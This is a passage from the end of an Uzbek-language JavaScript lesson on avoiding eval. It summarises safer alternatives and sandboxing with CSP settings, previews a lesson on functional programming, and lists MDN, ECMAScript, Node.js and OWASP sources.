'unsafe-eval'ni kod ishga tushiruvchi uchun ongli ravishda ishlatadi va begona kodni sandbox iframe'da ajratadi. - Muqobillar:
JSON.parse,obyekt[kalit], amallar lug'ati, funksiyalisetTimeout, destructuring, kichik parser.
Keyingi dars: FP g'oyalari va deklarativ uslub — "qanday qilish"ni emas, "nima kerak"ligini yozish: funksional dasturlashning asosiy g'oyalari.
Manbalar
- MDN: "eval()" (shu jumladan "Never use direct eval()!" bo'limi), "Function() constructor", "with" — developer.mozilla.org
- MDN: "Content-Security-Policy: script-src" (
'unsafe-eval','wasm-unsafe-eval') — developer.mozilla.org - ECMAScript 2025 Language Specification, 19.2.1 "eval (x)", 14.11 "The with Statement" — tc39.es/ecma262
- Node.js: "Command-line API" (
--disallow-code-generation-from-strings), "VM (executing JavaScript)" — nodejs.org/api - OWASP: "Content Security Policy Cheat Sheet" — cheatsheetseries.owasp.org
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!